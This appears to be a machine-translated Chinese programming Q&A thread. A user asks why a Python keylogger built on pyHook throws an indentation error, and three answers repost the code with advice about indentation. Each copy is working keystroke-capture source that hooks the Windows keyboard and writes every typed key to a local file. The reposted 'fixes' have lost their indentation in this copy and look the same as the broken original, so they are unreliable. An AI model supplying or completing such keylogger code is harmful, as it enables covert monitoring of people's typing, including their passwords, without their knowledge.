我一直在篡改Python和键盘记录程序,试图找到一个关于如何构建一个并且无法找到一个的全面教程。真正让我失望的是模块的可用性,而不是实际的python更新,以及pyhooks - 试图找到兼容性是非常困难的。无论如何,我终于找到了一个有点可行的教程,我得到了#34;期望一个预期的块"错误。这是代码。
import win32api
import sys
import pythoncom, pyHook
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
if event.Ascii != 0 or 8:
f = open ('c:\\output.txt', 'a')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = keylogs + '\n'
f.write(keylogs)
f.close()
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
我在第5行代码中得到了错误(如果event.Ascii == 5 :)那么如果它不允许我运行该模块就会出错。有帮助吗?感谢。
答案 0 :(得分:0)
为python脚本添加正确的格式,例如为OnKeyboardEvent
函数正确添加标识:
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
if event.Ascii != 0 or 8:
f = open ('c:\\output.txt', 'a')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = keylogs + '\n'
f.write(keylogs)
f.close()
你的while循环也应包含标识:
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
请参阅该文章的Lines and Indentation部分。
答案 1 :(得分:0)
在代码中使用这个正确的python代码格式:
import win32api
import sys
import pythoncom, pyHook
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
if event.Ascii != 0 or 8:
f = open ('c:\\output.txt', 'a')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = keylogs + '\n'
f.write(keylogs)
f.close()
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
答案 2 :(得分:0)
import win32api
import sys
import pythoncom, pyHook
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
if event.Ascii != 0 or 8:
f = open ('c:\\output.txt', 'a')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = keylogs + '\n'
f.write(keylogs)
f.close()
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
我不确定代码是否有效。这只是我们在python中缩进的一个例子,因为我们这里没有括号。你也可以参考这个。